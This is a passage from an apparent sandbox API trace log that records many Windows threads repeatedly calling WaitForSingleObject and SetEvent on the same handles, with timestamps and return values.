WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.396] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.478] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.569] SetEvent (hEvent=0x1a4) returned 1 [0068.569] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.630] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.700] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.763] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.824] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.875] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.937] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.073] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.138] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 174 os_tid = 0x8c4 [0067.756] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.835] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.913] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.962] SetEvent (hEvent=0x1a4) returned 1 [0067.962] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.005] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.062] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.133] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.191] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.257] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.318] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.376] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.442] SetEvent (hEvent=0x1a4) returned 1 [0068.442] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.536] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.606] SetEvent (hEvent=0x1a4) returned 1 [0068.606] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.667] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.741] SetEvent (hEvent=0x1a4) returned 1 [0068.741] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.805] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.851] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.910] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.976] SetEvent (hEvent=0x1a4) returned 1 [0068.976] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.118] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.166] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 175 os_tid = 0x2a8 [0067.757] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.834] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.913] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.961] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.005] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.062] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.134] SetEvent (hEvent=0x1a4) returned 1 [0068.134] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.191] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.257] SetEvent (hEvent=0x1a4) returned 1 [0068.257] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.318] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.377] SetEvent (hEvent=0x1a4) returned 1 [0068.377] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.441] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.536] SetEvent (hEvent=0x1a4) returned 1 [0068.536] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.605] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.667] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.740] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.805] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.851] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.911] SetEvent (hEvent=0x1a4) returned 1 [0068.911] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.975] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.118] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.166] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 176 os_tid = 0x7a4 [0067.757] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.863] SetEvent (hEvent=0x1a4) returned 1 [0067.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.919] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.971] SetEvent (hEvent=0x1a4) returned 1 [0067.971] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.030] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.087] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.157] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.218] SetEvent (hEvent=0x1a4) returned 1 [0068.218] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.287] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.355] SetEvent (hEvent=0x1a4) returned 1 [0068.355] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.408] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.492] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.580] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.640] SetEvent (hEvent=0x1a4) returned 1 [0068.640] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.716] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.778] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.830] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.885] SetEvent (hEvent=0x1a4) returned 1 [0068.885] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.945] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.101] SetEvent (hEvent=0x1a4) returned 1 [0069.101] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.158] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 177 os_tid = 0x78c [0067.757] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.862] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.920] SetEvent (hEvent=0x1a4) returned 1 [0067.920] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.970] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.030] SetEvent (hEvent=0x1a4) returned 1 [0068.030] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.086] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.157] SetEvent (hEvent=0x1a4) returned 1 [0068.157] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.217] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.289] SetEvent (hEvent=0x1a4) returned 1 [0068.289] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.355] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.409] SetEvent (hEvent=0x1a4) returned 1 [0068.409] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.492] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.580] SetEvent (hEvent=0x1a4) returned 1 [0068.580] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.640] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.717] SetEvent (hEvent=0x1a4) returned 1 [0068.717] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.777] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.830] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.885] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.946] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.100] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.158] SetEvent (hEvent=0x1a4) returned 1 [0069.158] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 178 os_tid = 0x780 [0067.757] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.865] SetEvent (hEvent=0x1a4) returned 1 [0067.865] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.924] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.970] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.023] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.086] SetEvent (hEvent=0x1a4) returned 1 [0068.086] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.149] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.212] SetEvent (hEvent=0x1a4) returned 1 [0068.212] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.270] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.340] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.397] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.477] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.566] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.622] SetEvent (hEvent=0x1a4) returned 1 [0068.622] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.700] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.763] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.824] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.875] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.937] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.086] SetEvent (hEvent=0x1a4) returned 1 [0069.086] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.151] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 179 os_tid = 0x764 [0067.757] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.865] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.924] SetEvent (hEvent=0x1a4) returned 1 [0067.924] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.970] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.023] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.085] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.149] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.212] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.270] SetEvent (hEvent=0x1a4) returned 1 [0068.270] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.339] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.397] SetEvent (hEvent=0x1a4) returned 1 [0068.397] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.477] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.568] SetEvent (hEvent=0x1a4) returned 1 [0068.568] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.622] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.700] SetEvent (hEvent=0x1a4) returned 1 [0068.700] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.763] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.824] SetEvent (hEvent=0x1a4) returned 1 [0068.824] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.874] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.937] SetEvent (hEvent=0x1a4) returned 1 [0068.937] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.085] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.151] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 180 os_tid = 0x93c [0067.758] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.919] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.970] SetEvent (hEvent=0x1a4) returned 1 [0067.970] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.023] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.087] SetEvent (hEvent=0x1a4) returned 1 [0068.087] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.158] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.217] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.285] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.352] SetEvent (hEvent=0x1a4) returned 1 [0068.352] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.403] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.487] SetEvent (hEvent=0x1a4) returned 1 [0068.487] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.568] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.622] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.699] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.762] SetEvent (hEvent=0x1a4) returned 1 [0068.762] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.823] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.874] SetEvent (hEvent=0x1a4) returned 1 [0068.874] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.935] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.072] SetEvent (hEvent=0x1a4) returned 1 [0069.072] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.138] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 181 os_tid = 0xb60 [0067.758] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.919] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.969] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.023] SetEvent (hEvent=0x1a4) returned 1 [0068.023] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.087] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.160] SetEvent (hEvent=0x1a4) returned 1 [0068.160] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.216] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.285] SetEvent (hEvent=0x1a4) returned 1 [0068.286] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.351] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.403] SetEvent (hEvent=0x1a4) returned 1 [0068.403] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.487] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.569] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.621] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.699] SetEvent (hEvent=0x1a4) returned 1 [0068.699] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.760] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.823] SetEvent (hEvent=0x1a4) returned 1 [0068.823] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.873] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.936] SetEvent (hEvent=0x1a4) returned 1 [0068.936] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.072] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.139] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 182 os_tid = 0xb50 [0067.758] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.877] SetEvent (hEvent=0x1a4) returned 1 [0067.877] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.925] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.980] SetEvent (hEvent=0x1a4) returned 1 [0067.980] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.034] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.099] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.161] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.228] SetEvent (hEvent=0x1a4) returned 1 [0068.228] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.290] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.363] SetEvent (hEvent=0x1a4) returned 1 [0068.363] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.407] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.493] SetEvent (hEvent=0x1a4) returned 1 [0068.493] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.579] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.632] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.710] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.774] SetEvent (hEvent=0x1a4) returned 1 [0068.774] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.829] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.884] SetEvent (hEvent=0x1a4) returned 1 [0068.884] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.944] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.085] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.151] SetEvent (hEvent=0x1a4) returned 1 [0069.151] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 183 os_tid = 0xb54 [0067.758] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.875] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.925] SetEvent (hEvent=0x1a4) returned 1 [0067.925] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.978] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.035] SetEvent (hEvent=0x1a4) returned 1 [0068.035] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.099] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.161] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.228] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.291] SetEvent (hEvent=0x1a4) returned 1 [0068.291] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.362] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.408] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.493] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.579] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.632] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.710] SetEvent (hEvent=0x1a4) returned 1 [0068.710] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.773] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.830] SetEvent (hEvent=0x1a4) returned 1 [0068.830] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.882] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.945] SetEvent (hEvent=0x1a4) returned 1 [0068.945] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.084] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.145] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 184 os_tid = 0xb58 [0067.758] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.879] SetEvent (hEvent=0x1a4) returned 1 [0067.879] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.930] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.982] SetEvent (hEvent=0x1a4) returned 1 [0067.982] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.044] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.112] SetEvent (hEvent=0x1a4) returned 1 [0068.112] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.174] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.232] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.301] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.364] SetEvent (hEvent=0x1a4) returned 1 [0068.364] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.422] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.508] SetEvent (hEvent=0x1a4) returned 1 [0068.508] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.586] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.649] SetEvent (hEvent=0x1a4) returned 1 [0068.650] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.728] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.794] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.842] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.901] SetEvent (hEvent=0x1a4) returned 1 [0068.901] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.960] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.118] SetEvent (hEvent=0x1a4) returned 1 [0069.118] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 185 os_tid = 0xb5c [0067.758] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.878] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.931] SetEvent (hEvent=0x1a4) returned 1 [0067.931] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.981] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.046] SetEvent (hEvent=0x1a4) returned 1 [0068.046] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.112] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.176] SetEvent (hEvent=0x1a4) returned 1 [0068.176] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.231] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.302] SetEvent (hEvent=0x1a4) returned 1 [0068.302] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.364] WaitForSingleObject 